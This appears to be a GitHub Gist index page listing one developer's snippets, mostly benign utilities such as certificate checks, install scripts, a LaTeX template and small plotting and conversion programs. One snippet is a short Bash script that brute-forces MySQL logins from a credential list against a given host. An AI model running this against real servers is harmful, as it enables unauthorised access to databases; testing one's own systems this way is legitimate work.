Skip to content

Instantly share code, notes, and snippets.

@ptantiku
ptantiku / check_selfsigned.rb
Last active August 29, 2015 14:24
Ruby scripts to parse Google Chromium's pinned certificates and then determine if they are self-signed.
#!/usr/bin/env ruby
#
# check all certificates in "./certs/" whether they are a self-signed certificate, or not.
#
require 'openssl'
Dir['certs/*'].each do |file|
#diff = `openssl x509 -in #{file} -noout -issuer -subject| cut -d'=' -f2 | uniq | wc -l`
#if diff.chomp == '1'
cert = OpenSSL::X509::Certificate.new(File.open(file))
@ptantiku
ptantiku / bruteforce_mysql_login.sh
Last active August 29, 2015 14:24
Bruteforce MySQL
#!/bin/bash
#In the file, list of usernames & passwords in format of: "user:pass"
file=credentiallist.txt
[[ $# -ne 1 ]] && echo "usage: $0 ip_or_hostname_here" && exit
while IFS=: read user pass
do
mysql -h $1 -u $user -p"$pass" -e STATUS && echo "Found: user=$user pass=$pass" && exit 0
done < $file
@ptantiku
ptantiku / LoopExample.java
Created August 22, 2015 08:50
Plotting Equations on Java
public class LoopExample{
public static void main(String[] args){
/* sine */
for(double y=1.0;y>=-1.0;y-=0.1){
for(double x=0;x<=2*Math.PI;x+=5*Math.PI/180){
if( (Math.sin(x)>=0 && y<=Math.sin(x) && y>=0) ||
(Math.sin(x)<=0 && Math.sin(x)<=y && y<=0))
System.out.print('*');
else
System.out.print(' ');
@ptantiku
ptantiku / filename_fix.sh
Created November 9, 2015 07:14
Fix encoding problem on file name downloaded from e-learning server (windows)
#!/bin/bash
for f in *
do
n=$(echo $f|iconv -f LATIN1 -t UTF8 -c)
mv "$f" "$n"
done
@ptantiku
ptantiku / pascal_triangle.py
Created December 4, 2015 19:20
Pascal Triangle
#!/usr/bin/env python
#idea from: https://rossta.net/blog/pascals-triangle-with-rubys-enumerator.html
row=[1]
print row
for i in xrange(10):
row=[ sum(x) for x in zip([0]+row, row+[0]) ]
print row
@ptantiku
ptantiku / install_libthai4r.sh
Created March 25, 2016 21:33
install libthai4r
#!/bin/bash
sudo apt-get update && sudo apt-get upgrade -y
sudo apt-get install -y libdatrie-dev libthai-dev
cd /tmp
mkdir libthai4r && curl -L https://github.com/ptantiku/libthai4r/tarball/master | tar xz --strip 1 -C libthai4r
cd libthai4r
ruby extconf.rb
make
sudo make install
@ptantiku
ptantiku / install_texlive.sh
Created November 2, 2016 06:40
Install TexLive and TexStudio on Redhat 7.2
#!/bin/bash
yum -y install texlive texlive-latex texlive-xetex
yum -y install texlive-collection-latex
yum -y install texlive-collection-latexrecommended
yum -y install texlive-xetex-def
yum -y install texlive-collection-xetex
#Optional
#yum -y install texlive-collection-latexextra
yum -y install texlive-xltxtra
@ptantiku
ptantiku / thai.tex
Created January 11, 2017 08:04
Template for using Thai language in Latex
\documentclass[12pt,a4paper]{article}
\usepackage{fontspec}
\usepackage{xunicode}
\usepackage{xltxtra}
\XeTeXlinebreaklocale "th"
\renewcommand{\baselinestretch}{1.2}
\defaultfontfeatures{Scale=1.23}
%\fontspec[Scale=1.23]{TH SarabunPSK} %scale specific font
@ptantiku
ptantiku / docker-compose.yml
Created April 4, 2017 10:51
docker-compose to start python web server
version: '2'
services:
web:
image: python:2.7
volumes:
- $PWD/public_html:/web
ports:
- "443:443"
working_dir: /web
command: bash -c "python -m SimpleHTTPServer 443 2>&1"
@ptantiku
ptantiku / csv_to_excel.py
Last active April 13, 2017 08:28
read a csv file (presuming TIS620 encoded) into an excel file
import csv
from openpyxl import Workbook, load_workbook
infile = 'input.csv'
outfile = 'output.xlsx'
# wb = Workbook() # new file
wb = load_workbook( outfile ) # load existing file
ws = wb.active